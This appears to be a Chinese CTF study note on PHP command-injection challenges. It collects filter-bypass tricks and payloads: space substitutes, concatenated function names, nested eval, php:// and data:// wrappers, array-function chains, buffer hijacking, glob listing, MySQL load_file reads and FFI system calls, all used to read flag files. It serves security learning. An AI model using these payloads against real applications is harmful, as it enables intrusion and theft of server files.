命令执行笔记


常见的系统命令可以进行命令执行:
awk  格式:awk'{printf $0;}'flag.php || 该命令意思是其全局检索flag.php内容并输出
cat/tac  读取,tac是cat的倒向读取
nl  读取文件,并在文件的每一行前面标上行号
vi/vim  编辑器,可以实现查看文件
od  二进制方式读取文件内容
more  类似于cat
mv/cp 复制,但是可以通过复制的文件输出
unique 可以通过file -f;报错出具体内容
ls  读目录

引用自CTF命令执行小总结

绕过姿势

  1. 空格绕过
    用${IFS}、$@、%09、%0a、$IFS$9、<>代替空格
{cat,flag.txt} cat<flag.txt
  1. 特殊符号过滤
preg_match("/\.| |\'/i", $c)

(1) 嵌套传入参数

c=eval($_GET[a]);&a=system('cat flag.php');

(2) 用符号替代
使用通配符*或者占位符?来绕过对小数点及php后缀的限制
?>代替分号因为php中遇到定界符关闭标签会自动在末尾加上一个分号。
(3) 拼接法

?c=$a=sys;$b=tem;$d=$a.$b;$d("tac fl*");

(4) 绕过特定命令
使用大小写
使用双引号
使用passthru来绕过对system的限制;
用tac、uniq、nl、/bin/ca?、c??等绕过cat的限制;

同时利用伪协议:

?a=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?a=include%0a$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[1]?>&1=php://input
POST传输<?php system('tac flag.php');?>

为什么感觉知道这个方法之后简单的过滤就能通杀了???

(4) 过滤一坨

preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)

调用函数绕过

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GETPOSTFILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。

payload:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));   //这里的pos(localeconv())可以用getcwd()代替
?c=eval(array_pop(next(get_defined_vars())));      //需要POST传入参数为1=system('tac fl*');

具体可以自己将每个函数输出看一下,可以方便自己理解原理,真的很巧妙。。

system($c." >/dev/null 2>&1");

>/dev/null 2>&1
详细细节参考>/dev/null 2>&1详解

/dev/null
执行某个命令但又不希望在屏幕上显示输出结果,可以将输出重定向到 /dev/nul
2>&1
将错误输出和标准输出输出到同一个地方。
为了不让执行信息输出屏幕,加上 >/dev/null 2>&1 命令来丢弃所有的输出

可以利用;||分隔分化一下 构造payload,如:c=ls;ls

过滤了系统命令

print_r(scandir(dirname('FILE')));   or var_dump(scandir('.'));   or var_export(); //扫描文件
highlight_file("flag.php");   or show_source("flag.php");   //直接高亮显示
或者利用伪协议  include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php

implode函数将数组转换成字符串再打印,再配合echo、print等函数输出
读取函数readgzfile:可以读取非gz格式的文件

劫持缓冲区

$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);

需要提前将输出送出缓冲区或者提前结束程序

ob_flush();
ob_end_flush();
exit();
die();

scandir禁用

var_export(glob('../../..'.'/*'));
c=$a=new DirectoryIterator("glob:///*"); foreach($a as $b) {echo($b->__toString().' ');} exit(0);

glob伪协议返回根目录下所有文件,并转换为字符串打印

利用mysql获取文件

当include受目录限制后就没法获取根目录下的flag

$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt')"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result; } exit(); 

关于这个数据库名呢,可以先这样

$conn = mysqli_connect("127.0.0.1", "root", "root", "information_schema"); $sql = "select group_concat(schema_name)from schemata"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo implode($result); } exit(); 

像SQL注入那样去获取库名然后再load_file,真的感觉有好多要学

视频讲解中的特性

$ffi=FFI::cdef("int system(const char *command);");
$a='命令';
$ffi->system($a);exit();
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值